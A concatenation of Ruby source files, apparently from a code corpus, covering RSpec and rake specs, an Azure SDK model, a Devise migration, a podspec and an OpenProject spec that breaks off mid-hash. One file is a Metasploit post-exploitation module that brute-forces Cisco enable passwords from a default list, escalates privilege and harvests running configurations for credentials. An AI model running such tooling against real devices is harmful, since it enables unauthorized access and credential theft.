response.should have_tag("div") {
css_select("div").should have(2).elements
css_select("div").each { |element|
# Testing as a group is one thing
css_select("#1,#2").should have(2).elements
# Testing individually is another
css_select("#1").should have(1).element
css_select("#2").should have(1).element
}
}
end
it "can select nested tags from rjs (one result)" do
render_rjs do |page|
page.replace_html "test", "<div id=\"1\">foo</div>\n<div id=\"2\">foo</div>"
end
css_select("div").should have(2).elements
css_select("#1").should have(1).element
css_select("#2").should have(1).element
end
it "can select nested tags from rjs (two results)" do
render_rjs do |page|
page.replace_html "test", "<div id=\"1\">foo</div>"
page.replace_html "test2", "<div id=\"2\">foo</div>"
end
css_select("div").should have(2).elements
css_select("#1").should have(1).element
css_select("#2").should have(1).element
end
end
describe "have_rjs behaviour_type", :type => :controller do
include AssertSelectSpecHelpers
controller_name :assert_select
integrate_views
before(:each) do
render_rjs do |page|
page.replace "test1", "<div id=\"1\">foo</div>"
page.replace_html "test2", "<div id=\"2\">bar</div><div id=\"3\">none</div>"
page.insert_html :top, "test3", "<div id=\"4\">loopy</div>"
page.hide "test4"
page["test5"].hide
end
end
it "should pass if any rjs exists" do
response.should have_rjs
end
it "should fail if no rjs exists" do
render_rjs do |page|
end
lambda do
response.should have_rjs
end.should raise_error(SpecFailed)
end
it "should find all rjs from multiple statements" do
response.should have_rjs do
with_tag("#1")
with_tag("#2")
with_tag("#3")
# with_tag("#4")
# with_tag("#5")
end
end
it "should find by id" do
response.should have_rjs("test1") { |rjs|
rjs.size.should == 1
with_tag("div", 1)
with_tag("div#1", "foo")
}
lambda do
response.should have_rjs("test1") { |rjs|
rjs.size.should == 1
without_tag("div#1", "foo")
}
end.should raise_error(SpecFailed, "should not have tag(\"div#1\", \"foo\"), but did")
response.should have_rjs("test2") { |rjs|
rjs.size.should == 2
with_tag("div", 2)
with_tag("div#2", "bar")
with_tag("div#3", "none")
}
# response.should have_rjs("test4")
# response.should have_rjs("test5")
end
# specify "should find rjs using :hide" do
# response.should have_rjs(:hide)
# response.should have_rjs(:hide, "test4")
# response.should have_rjs(:hide, "test5")
# lambda do
# response.should have_rjs(:hide, "test3")
# end.should raise_error(SpecFailed)
# end
it "should find rjs using :replace" do
response.should have_rjs(:replace) { |rjs|
with_tag("div", 1)
with_tag("div#1", "foo")
}
response.should have_rjs(:replace, "test1") { |rjs|
with_tag("div", 1)
with_tag("div#1", "foo")
}
lambda {
response.should have_rjs(:replace, "test2")
}.should raise_error(SpecFailed)
lambda {
response.should have_rjs(:replace, "test3")
}.should raise_error(SpecFailed)
end
it "should find rjs using :replace_html" do
response.should have_rjs(:replace_html) { |rjs|
with_tag("div", 2)
with_tag("div#2", "bar")
with_tag("div#3", "none")
}
response.should have_rjs(:replace_html, "test2") { |rjs|
with_tag("div", 2)
with_tag("div#2", "bar")
with_tag("div#3", "none")
}
lambda {
response.should have_rjs(:replace_html, "test1")
}.should raise_error(SpecFailed)
lambda {
response.should have_rjs(:replace_html, "test3")
}.should raise_error(SpecFailed)
end
it "should find rjs using :insert_html (non-positioned)" do
response.should have_rjs(:insert_html) { |rjs|
with_tag("div", 1)
with_tag("div#4", "loopy")
}
response.should have_rjs(:insert_html, "test3") { |rjs|
with_tag("div", 1)
with_tag("div#4", "loopy")
}
lambda {
response.should have_rjs(:insert_html, "test1")
}.should raise_error(SpecFailed)
lambda {
response.should have_rjs(:insert_html, "test2")
}.should raise_error(SpecFailed)
end
it "should find rjs using :insert (positioned)" do
render_rjs do |page|
page.insert_html :top, "test1", "<div id=\"1\">foo</div>"
page.insert_html :bottom, "test2", "<div id=\"2\">bar</div>"
page.insert_html :before, "test3", "<div id=\"3\">none</div>"
page.insert_html :after, "test4", "<div id=\"4\">loopy</div>"
end
response.should have_rjs(:insert, :top) do
with_tag("div", 1)
with_tag("#1")
end
response.should have_rjs(:insert, :top, "test1") do
with_tag("div", 1)
with_tag("#1")
end
lambda {
response.should have_rjs(:insert, :top, "test2")
}.should raise_error(SpecFailed)
response.should have_rjs(:insert, :bottom) {|rjs|
with_tag("div", 1)
with_tag("#2")
}
response.should have_rjs(:insert, :bottom, "test2") {|rjs|
with_tag("div", 1)
with_tag("#2")
}
response.should have_rjs(:insert, :before) {|rjs|
with_tag("div", 1)
with_tag("#3")
}
response.should have_rjs(:insert, :before, "test3") {|rjs|
with_tag("div", 1)
with_tag("#3")
}
response.should have_rjs(:insert, :after) {|rjs|
with_tag("div", 1)
with_tag("#4")
}
response.should have_rjs(:insert, :after, "test4") {|rjs|
with_tag("div", 1)
with_tag("#4")
}
end
end
describe "send_email behaviour_type", :type => :controller do
include AssertSelectSpecHelpers
controller_name :assert_select
integrate_views
before(:each) do
ActionMailer::Base.delivery_method = :test
ActionMailer::Base.perform_deliveries = true
ActionMailer::Base.deliveries = []
end
after(:each) do
ActionMailer::Base.deliveries.clear
end
it "should fail with nothing sent" do
response.should_not send_email
lambda {
response.should send_email{}
}.should raise_error(SpecFailed, /No e-mail in delivery list./)
end
it "should pass otherwise" do
AssertSelectMailer.deliver_test "<div><p>foo</p><p>bar</p></div>"
response.should send_email
lambda {
response.should_not send_email
}.should raise_error(SpecFailed)
response.should send_email{}
response.should send_email {
with_tag("div:root") {
with_tag("p:first-child", "foo")
with_tag("p:last-child", "bar")
}
}
lambda {
response.should_not send_email
}.should raise_error(SpecFailed, "should not send email, but did")
end
end
# describe "An rjs call to :visual_effect, a 'should have_rjs' spec with",
# :type => :view do
#
# before do
# render 'rjs_spec/visual_effect'
# end
#
# it "should pass with the correct element name" do
# response.should have_rjs(:effect, :fade, 'mydiv')
# end
#
# it "should fail the wrong element name" do
# lambda {
# response.should have_rjs(:effect, :fade, 'wrongname')
# }.should raise_error(SpecFailed)
# end
#
# it "should fail with the correct element but the wrong command" do
# lambda {
# response.should have_rjs(:effect, :puff, 'mydiv')
# }.should raise_error(SpecFailed)
# end
#
# end
#
# describe "An rjs call to :visual_effect for a toggle, a 'should have_rjs' spec with",
# :type => :view do
#
# before do
# render 'rjs_spec/visual_toggle_effect'
# end
#
# it "should pass with the correct element name" do
# response.should have_rjs(:effect, :toggle_blind, 'mydiv')
# end
#
# it "should fail with the wrong element name" do
# lambda {
# response.should have_rjs(:effect, :toggle_blind, 'wrongname')
# }.should raise_error(SpecFailed)
# end
#
# it "should fail the correct element but the wrong command" do
# lambda {
# response.should have_rjs(:effect, :puff, 'mydiv')
# }.should raise_error(SpecFailed)
# end
#
# end
describe "string.should have_tag", :type => :helper do
include AssertSelectSpecHelpers
it "should find root element" do
"<p>a paragraph</p>".should have_tag("p", "a paragraph")
end
it "should not find non-existent element" do
lambda do
"<p>a paragraph</p>".should have_tag("p", "wrong text")
end.should raise_error(SpecFailed)
end
it "should find child element" do
"<div><p>a paragraph</p></div>".should have_tag("p", "a paragraph")
end
it "should find nested element" do
"<div><p>a paragraph</p></div>".should have_tag("div") do
with_tag("p", "a paragraph")
end
end
it "should not find wrong nested element" do
lambda do
"<div><p>a paragraph</p></div>".should have_tag("div") do
with_tag("p", "wrong text")
end
end.should raise_error(SpecFailed)
end
end
describe "have_tag", :type => :controller do
include AssertSelectSpecHelpers
controller_name :assert_select
integrate_views
it "should work exactly the same as assert_select" do
render_html %Q{
<div id="wrapper">foo
<div class="piece">
<h3>Text</h3>
</div>
<div class="piece">
<h3>Another</h3>
</div>
</div>
}
assert_select "#wrapper .piece h3", :text => "Text"
assert_select "#wrapper .piece h3", :text => "Another"
response.should have_tag("#wrapper .piece h3", :text => "Text")
response.should have_tag("#wrapper .piece h3", :text => "Another")
end
end
describe 'selecting in HTML that contains a mock with null_object' do
module HTML
class Document
def initialize_with_strict_error_checking(text, strict=false, xml=false)
initialize_without_strict_error_checking(text, true, xml)
end
alias_method :initialize_without_strict_error_checking, :initialize
alias_method :initialize, :initialize_with_strict_error_checking
end
end
describe 'modified HTML::Document' do
it 'should raise error on valid HTML even though false is specified' do
lambda {HTML::Document.new("<b>#<Spec::Mocks::Mock:0x267b4f0></b>", false, false)}.should raise_error
end
end
it 'should not print errors from assert_select' do
mock = mock("Dog", :null_object => true)
html = "<b>#{mock.colour}</b>"
lambda {html.should have_tag('b')}.should_not raise_error
end
end | 30.468983 | 123 | 0.602655 |
216f914c5d0ab8dd1ebb386fd2681b57b6c852f2 | 2,948 | # frozen_string_literal: true
require 'rake_helper'
describe 'gitlab:container_registry namespace rake tasks' do
let_it_be(:application_settings) { Gitlab::CurrentSettings }
before :all do
Rake.application.rake_require 'tasks/gitlab/container_registry'
end
describe 'configure' do
before do
stub_container_registry_config(enabled: true, api_url: 'http://registry.gitlab')
end
shared_examples 'invalid config' do
it 'does not update the application settings' do
expect { run_rake_task('gitlab:container_registry:configure') }
.to raise_error(/Registry is not enabled or registry api url is not present./)
end
end
context 'when container registry is disabled' do
before do
stub_container_registry_config(enabled: false)
end
it_behaves_like 'invalid config'
end
context 'when container registry api_url is blank' do
before do
stub_container_registry_config(api_url: '')
end
it_behaves_like 'invalid config'
end
context 'when unabled to detect the container registry type' do
it 'fails and raises an error message' do
stub_registry_info({})
run_rake_task('gitlab:container_registry:configure')
application_settings.reload
expect(application_settings.container_registry_vendor).to be_blank
expect(application_settings.container_registry_version).to be_blank
expect(application_settings.container_registry_features).to eq([])
end
end
context 'when able to detect the container registry type' do
context 'when using the GitLab container registry' do
it 'updates application settings accordingly' do
stub_registry_info(vendor: 'gitlab', version: '2.9.1-gitlab', features: %w[a,b,c])
run_rake_task('gitlab:container_registry:configure')
application_settings.reload
expect(application_settings.container_registry_vendor).to eq('gitlab')
expect(application_settings.container_registry_version).to eq('2.9.1-gitlab')
expect(application_settings.container_registry_features).to eq(%w[a,b,c])
end
end
context 'when using a third-party container registry' do
it 'updates application settings accordingly' do
stub_registry_info(vendor: 'other', version: nil, features: nil)
run_rake_task('gitlab:container_registry:configure')
application_settings.reload
expect(application_settings.container_registry_vendor).to eq('other')
expect(application_settings.container_registry_version).to be_blank
expect(application_settings.container_registry_features).to eq([])
end
end
end
end
def stub_registry_info(output)
allow_next_instance_of(ContainerRegistry::Client) do |client|
allow(client).to receive(:registry_info).and_return(output)
end
end
end
| 33.5 | 92 | 0.712687 |
e253fe089402df731d0d61da900122010e3ac92b | 90 | module Nesta
module Theme
module Lisezmoi
VERSION = "0.0.1"
end
end
end
| 11.25 | 23 | 0.611111 |
3917a4bf4e1a33e3b1d04d4880fabc6e20e892f4 | 5,294 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2019_02_01
module Models
#
# Service End point policy resource.
#
class ServiceEndpointPolicy < Resource
include MsRestAzure
# @return [Array<ServiceEndpointPolicyDefinition>] A collection of
# service endpoint policy definitions of the service endpoint policy.
attr_accessor :service_endpoint_policy_definitions
# @return [Array<Subnet>] A collection of references to subnets.
attr_accessor :subnets
# @return [String] The resource GUID property of the service endpoint
# policy resource.
attr_accessor :resource_guid
# @return [String] The provisioning state of the service endpoint policy.
# Possible values are: 'Updating', 'Deleting', and 'Failed'.
attr_accessor :provisioning_state
# @return [String] A unique read-only string that changes whenever the
# resource is updated.
attr_accessor :etag
#
# Mapper for ServiceEndpointPolicy class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'ServiceEndpointPolicy',
type: {
name: 'Composite',
class_name: 'ServiceEndpointPolicy',
model_properties: {
id: {
client_side_validation: true,
required: false,
serialized_name: 'id',
type: {
name: 'String'
}
},
name: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'name',
type: {
name: 'String'
}
},
type: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'type',
type: {
name: 'String'
}
},
location: {
client_side_validation: true,
required: false,
serialized_name: 'location',
type: {
name: 'String'
}
},
tags: {
client_side_validation: true,
required: false,
serialized_name: 'tags',
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'StringElementType',
type: {
name: 'String'
}
}
}
},
service_endpoint_policy_definitions: {
client_side_validation: true,
required: false,
serialized_name: 'properties.serviceEndpointPolicyDefinitions',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'ServiceEndpointPolicyDefinitionElementType',
type: {
name: 'Composite',
class_name: 'ServiceEndpointPolicyDefinition'
}
}
}
},
subnets: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.subnets',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'SubnetElementType',
type: {
name: 'Composite',
class_name: 'Subnet'
}
}
}
},
resource_guid: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.resourceGuid',
type: {
name: 'String'
}
},
provisioning_state: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.provisioningState',
type: {
name: 'String'
}
},
etag: {
client_side_validation: true,
required: false,
serialized_name: 'etag',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 31.891566 | 84 | 0.452966 |
7ae8393edf788bdd418304167ce2699568d92265 | 363 | # Be sure to restart your server when you modify this file.
# Add new inflection rules using the following format
# (all these examples are active by default):
ActiveSupport::Inflector.inflections do |inflect|
#inflect.plural /^(ox)$/i, '\1en'
#inflect.singular /^(ox)en/i, '\1'
#inflect.irregular 'person', 'people'
inflect.uncountable %w( status )
end
| 33 | 59 | 0.721763 |
ab9daf4f7a1c57cd966b4b1121975f874fe7c6ec | 699 | module Api
module V1
module Internals
class ApplicationController < ActionController::Base
respond_to :json
layout false
before_action :require_token
def require_token
authenticate_token || render_unauthorized("Access denied")
end
protected
def render_unauthorized(message)
errors = { errors: [ { detail: message } ] }
render json: errors, status: :unauthorized
end
private
def authenticate_token
authenticate_with_http_token do |token|
return true if Rails.application.secrets.api_token == token
end
end
end
end
end
end
| 23.3 | 71 | 0.610873 |
388397b844ed15d7933b7c0883355a114d2e29ff | 151 | module DataAggregation::Index::Controls
module SourceEvent
module Attribute
def self.data
'some value'
end
end
end
end
| 15.1 | 39 | 0.649007 |
62f63dcb65354e96192627fb762f559c8175978e | 963 | #
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html.
# Run `pod lib lint CJMonitorFlutter.podspec' to validate before publishing.
#
Pod::Spec.new do |s|
s.name = 'CJMonitorFlutter'
s.version = '0.0.1'
s.summary = 'A new flutter plugin project.'
s.description = <<-DESC
A new flutter plugin project.
DESC
s.homepage = 'http://example.com'
s.license = { :file => '../LICENSE' }
s.author = { 'Your Company' => '[email protected]' }
s.source = { :path => '.' }
s.source_files = 'Classes/**/*'
s.dependency 'Flutter'
s.dependency 'CJMonitor', '~> 0.0.1' # 增加此依赖
s.platform = :ios, '8.0'
# Flutter.framework does not contain a i386 slice. Only x86_64 simulators are supported.
s.pod_target_xcconfig = { 'DEFINES_MODULE' => 'YES', 'VALID_ARCHS[sdk=iphonesimulator*]' => 'x86_64' }
s.swift_version = '5.0'
end
| 38.52 | 104 | 0.600208 |
62048b91aac5aaacf2a3722352fc9751a91827cc | 215 | ## require all gems that we will use
require 'pry'
require 'net/http'
require 'json'
## requires all files that we will use
require_relative "./lib/api"
require_relative "./lib/cli"
require_relative "./lib/makeup"
| 21.5 | 38 | 0.744186 |
e2d98e382f7b0d6be69a04660787a9b8fd153ad2 | 947 | require "rails/generators"
module Services
module Generators
class NewGenerator < Rails::Generators::Base
source_root File.expand_path("../templates", __dir__)
argument :service_name, type: :string
argument :service_args, type: :array, default: []
desc "Creates a new Service Object and corresponding spec file"
def create_new_service
template(
"new_service.erb",
"#{Rails.root}/app/namespaces/services/#{service_filepath}.rb"
)
end
def create_new_service_spec
template(
"new_service_spec.erb",
"#{Rails.root}/spec/namespaces/services/#{service_filepath}_spec.rb"
)
end
private
def service_filepath
service_name.gsub(/::/, "/")
.gsub(/([A-Z]+)([A-Z][a-z])/, '\1_\2')
.gsub(/([a-z\d])([A-Z])/, '\1_\2')
.tr("-", "_")
.downcase
end
end
end
end
| 24.282051 | 78 | 0.572334 |
210dff407bfda068ee88c68585f08bee8c2ca06a | 1,546 | # frozen_string_literal: true
class DeviseCreateUsers < ActiveRecord::Migration[5.2]
def change
create_table :users do |t|
## Database authenticatable
t.string :username, null: false, default: ""
t.string :fullname, null: true, default: ""
t.string :email, null: false, default: ""
t.string :encrypted_password, null: false, default: ""
t.string :phone, null: true, default: ""
## Recoverable
t.string :reset_password_token
t.datetime :reset_password_sent_at
## Rememberable
t.datetime :remember_created_at
## Trackable
# t.integer :sign_in_count, default: 0, null: false
# t.datetime :current_sign_in_at
# t.datetime :last_sign_in_at
# t.inet :current_sign_in_ip
# t.inet :last_sign_in_ip
## Confirmable
# t.string :confirmation_token
# t.datetime :confirmed_at
# t.datetime :confirmation_sent_at
# t.string :unconfirmed_email # Only if using reconfirmable
## Lockable
# t.integer :failed_attempts, default: 0, null: false # Only if lock strategy is :failed_attempts
# t.string :unlock_token # Only if unlock strategy is :email or :both
# t.datetime :locked_at
t.timestamps null: false
end
add_index :users, :email, unique: true
add_index :users, :reset_password_token, unique: true
# add_index :users, :confirmation_token, unique: true
# add_index :users, :unlock_token, unique: true
end
end
| 32.208333 | 104 | 0.644243 |
abad3c306fb55402fbe594f24512d6e0c57418d5 | 7,118 | # Copyright © 2011-2019 MUSC Foundation for Research Development
# All rights reserved.
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
# BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
# SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
# TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
require 'rails_helper'
RSpec.describe LineItemsVisit, type: :model do
let_there_be_lane
let_there_be_j
build_service_request_with_study
it 'should be possible to create a line items visit' do
arm = build(:arm)
line_items_visit = build(:line_items_visit, arm_id: arm.id)
expect(line_items_visit.line_item).to eq nil
expect(line_items_visit.visits).to eq [ ]
end
describe "methods" do
before :each do
service_request.protocol.update_attributes(indirect_cost_rate: 200)
@line_items_visit = arm1.line_items_visits.first
service_request.arms.each { |arm| arm.visits.update_all(quantity: 15, research_billing_qty: 5, insurance_billing_qty: 5, effort_billing_qty: 5) }
end
context "business methods" do
let!(:service) { create(:service, organization_id: program.id)}
let!(:pricing_map) { create(:pricing_map, service_id: service.id, display_date: Date.today, effective_date: Date.today) }
let!(:pricing_map2) { create(:pricing_map, service_id: service.id, display_date: Date.today + 1, effective_date: Date.today + 1) }
describe "per unit cost" do
before(:each) do
allow(line_item).to receive(:applicable_rate) { 100 }
end
it "should return the per unit cost for full quantity with no arguments" do
expect(@line_items_visit.per_unit_cost).to eq(50)
end
it "should return 0 if the quantity is 0" do
@line_items_visit.line_item.quantity = 0
expect(@line_items_visit.per_unit_cost).to eq(0)
end
it "should return the per unit cost for a specific quantity from arguments" do
line_items_visit1 = @line_items_visit.dup
line_items_visit2 = @line_items_visit.dup
line_items_visit1.line_item.quantity = 5
expect(line_items_visit1.per_unit_cost).to eq(line_items_visit2.per_unit_cost(5))
end
end
describe "units per package" do
it "should select the correct pricing map based on display date" do
pricing_map.update_attributes(unit_factor: 5)
pricing_map2.update_attributes(unit_factor: 10)
expect(@line_items_visit.units_per_package).to eq(5)
end
end
describe "quantity total" do
it "should return the correct quantity" do
expect(@line_items_visit.quantity_total).to eq(100)
end
it "should return zero if the research billing qantity is zero" do
@line_items_visit.visits.each do |visit|
visit.update_attributes(research_billing_qty: 0)
end
expect(@line_items_visit.quantity_total).to eq(0)
end
end
describe "per subject subtotals" do
it "should return the correct cost of each visit" do
costs = Hash.new
@line_items_visit.visits.each do |visit|
costs[visit.id.to_s] = 250
end
expect(@line_items_visit.per_subject_subtotals).to eq(costs)
end
it "should return nil if the visit has no research billing" do
research_billing = Hash.new
@line_items_visit.visits.each do |visit|
visit.update_attributes(research_billing_qty: 0)
research_billing[visit.id.to_s] = nil
end
expect(@line_items_visit.per_subject_subtotals).to eq(research_billing)
end
end
describe "direct costs for visit based service single subject" do
it "should return the correct cost for one subject" do
expect(@line_items_visit.direct_costs_for_visit_based_service_single_subject).to eq(2500)
end
it "should return zero if the research billing quantity is zero" do
@line_items_visit.visits.each do |visit|
visit.update_attributes(research_billing_qty: 0)
end
expect(@line_items_visit.direct_costs_for_visit_based_service_single_subject).to eq(0)
end
end
describe "direct costs for visit based services" do
it "should return the correct cost for all subjects" do
expect(@line_items_visit.direct_costs_for_visit_based_service).to eq(5000)
end
end
describe "direct costs for one time fee" do
it "should return the correct direct cost" do
service.update_attributes(one_time_fee: true)
expect(@line_items_visit.direct_costs_for_one_time_fee).to eq(250)
end
end
describe "indirect cost" do
stub_config("use_indirect_cost", true)
before :each do
study.update_attribute(:indirect_cost_rate, 200)
end
context "indirect cost rate" do
it "should determine the indirect cost rate" do
expect(@line_items_visit.indirect_cost_rate).to eq(2)
end
end
context "indirect costs for visit based service single subject" do
it "should return the correct indirect cost" do
expect(@line_items_visit.indirect_costs_for_visit_based_service_single_subject).to eq(5000)
end
end
context "indirect costs for visit based service" do
it "should return the correct cost" do
expect(@line_items_visit.indirect_costs_for_visit_based_service).to eq(10000)
end
end
context "indirect costs for one time fee" do
it "should return the correct cost" do
expect(@line_items_visit.indirect_costs_for_one_time_fee).to eq(500)
end
end
end
end
end
end
| 38.064171 | 151 | 0.69528 |
1828c0f58fe1248c0a1d00a1511529b4bfc09cc5 | 7,257 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Cisco
include Msf::Exploit::Deprecated
moved_from 'post/cisco/gather/enum_cisco'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Gather Device General Information',
'Description' => %q{
This module collects a Cisco IOS or NXOS device information and configuration.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'cisco'],
'SessionTypes' => [ 'shell' ]
)
)
register_options(
[
OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']),
OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
]
)
end
def run
# Get device prompt
prompt = session.shell_command('')
# Set terminal length to 0 so no paging is required
session.shell_write("term len 0 \n")
# Get version info
print_status('Getting version information')
show_ver_cmd = 'show version'
ver_out = session.shell_command(show_ver_cmd)
ver = ver_out.gsub(/show version/, '')
# Get current privilege level
print_status('Getting privilege level')
priv_cmd = 'show priv'
priv = session.shell_command(priv_cmd).scan(/privilege level is (\d*)/).join
# Check if this is a Nexus or IOS box
case ver
when /Nexus/
os_type = 'Nexus'
mode = 'EXEC'
when /IOS/
os_type = 'IOS'
end
if os_type == 'IOS'
case prompt
when />/
mode = 'EXEC'
when /#/
mode = 'PRIV'
end
end
print_status("The device OS is #{os_type}")
print_status("Session running in mode #{mode}")
print_status("Privilege level #{priv}")
case os_type
when /IOS/
ver_loc = store_loot('cisco.ios.version',
'text/plain',
session,
ver.strip,
'version.txt',
'Cisco IOS Version')
when /Nexus/
ver_loc = store_loot('cisco.nxos.version',
'text/plain',
session,
ver.strip,
'version.txt',
'Cisco NXOS Version')
end
# Print the version of VERBOSE set to true.
vprint_good("version information stored in to loot, file:#{ver_loc}")
# Enumerate depending priv level
case priv
when '1'
enum_exec(prompt)
if get_enable(datastore['ENABLE'], datastore['WORDLIST'])
enum_priv(prompt)
end
when /7|15/
enum_exec(prompt)
enum_priv(prompt)
end
end
def get_enable(enable_pass, pass_file)
if enable_pass
found = false
session.shell_command('enable').to_s.strip
en_out = session.shell_command(enable_pass)
if en_out =~ /Password:/
print_error('Failed to change privilege level using provided Enable password.')
else
found = true
end
else
if pass_file
if !::File.exist?(pass_file)
print_error("Wordlist File #{pass_file} does not exist!")
return
end
creds = ::File.open(pass_file, 'rb')
else
creds = "Cisco\n" << "cisco\n" << "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"
end
print_status('Trying to get higher privilege level with common Enable passwords..')
# Try just the enable command
en_out = session.shell_command('enable').to_s.strip
if en_out =~ /Password:/
creds.each_line do |p|
next if p.strip.empty?
next if p[0, 1] == '#'
print_status("\tTrying password #{p.strip}")
pass_out = session.shell_command(p.strip).to_s.strip
vprint_status("Response: #{pass_out}")
session.shell_command('enable').to_s.strip if pass_out =~ /Bad secrets/
found = true if pass_out =~ /#/
break if found
end
else
found = true
end
end
if found
print_good('Obtained higher privilege level.')
return true
else
print_error('Could not obtain higher privilege level.')
return false
end
end
# Run enumeration commands for when privilege level is 7 or 15
def enum_priv(prompt)
host = session.session_host
port = session.session_port
priv_commands = [
{
'cmd' => 'show run',
'fn' => 'run_config',
'desc' => 'Cisco Device running configuration'
},
{
'cmd' => 'show cdp neigh',
'fn' => 'cdp_neighbors',
'desc' => 'Cisco Device CDP Neighbors'
},
{
'cmd' => 'show lldp neigh',
'fn' => 'cdp_neighbors',
'desc' => 'Cisco Device LLDP Neighbors'
}
]
priv_commands.each do |ec|
cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/, '')
# also look at line number so we dont invalidate large outputs by something at the end
next if cmd_out.split("\n").length < 2 && cmd_out =~ /Invalid input|%/
print_status("Gathering info from #{ec['cmd']}")
# Process configuration
if ec['cmd'] =~ /show run/
print_status('Parsing running configuration for credentials and secrets...')
cisco_ios_config_eater(host, port, cmd_out)
end
cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
'text/plain',
session,
cmd_out.strip,
"#{ec['fn']}.txt",
ec['desc'])
vprint_good("Saving to #{cmd_loc}")
end
end
# run commands found in exec mode under privilege 1
def enum_exec(prompt)
exec_commands = [
{
'cmd' => 'show ssh',
'fn' => 'ssh_sessions',
'desc' => 'SSH Sessions on Cisco Device'
},
{
'cmd' => 'show sessions',
'fn' => 'telnet_sessions',
'desc' => 'Telnet Sessions on Cisco Device'
},
{
'cmd' => 'show login',
'fn' => 'login_settings',
'desc' => 'Login settings on Cisco Device'
},
{
'cmd' => 'show ip interface brief',
'fn' => 'interface_info',
'desc' => 'IP Enabled Interfaces on Cisco Device'
},
{
'cmd' => 'show inventory',
'fn' => 'hw_inventory',
'desc' => 'Hardware component inventory for Cisco Device'
}
]
exec_commands.each do |ec|
cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/, '')
next if cmd_out =~ /Invalid input|%/
print_status("Gathering info from #{ec['cmd']}")
cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
'text/plain',
session,
cmd_out.strip,
"#{ec['fn']}.txt",
ec['desc'])
vprint_good("Saving to #{cmd_loc}")
end
end
end
| 30.2375 | 100 | 0.546782 |
ac85d83af951f7fc00b2b9dcd0a6d3a90592f60d | 3,257 | #-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2018 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
require 'spec_helper'
describe ::API::V3::Relations::RelationRepresenter do
let(:user) { FactoryGirl.create :admin }
let(:from) { FactoryGirl.create :work_package }
let(:to) { FactoryGirl.create :work_package }
let(:type) { "follows" }
let(:description) { "This first" }
let(:delay) { 3 }
let(:relation) do
FactoryGirl.create :relation,
from: from,
to: to,
relation_type: type,
description: description,
delay: delay
end
let(:representer) { described_class.new relation, current_user: user }
let(:result) do
{
"_type" => "Relation",
"_links" => {
"self" => {
"href" => "/api/v3/relations/#{relation.id}"
},
"updateImmediately" => {
"href" => "/api/v3/relations/#{relation.id}",
"method" => "patch"
},
"delete" => {
"href" => "/api/v3/relations/#{relation.id}",
"method" => "delete",
"title" => "Remove relation"
},
"from" => {
"href" => "/api/v3/work_packages/#{from.id}",
"title" => from.subject
},
"to" => {
"href" => "/api/v3/work_packages/#{to.id}",
"title" => to.subject
},
},
"id" => relation.id,
"name" => "follows",
"type" => "follows",
"reverseType" => "precedes",
"description" => description,
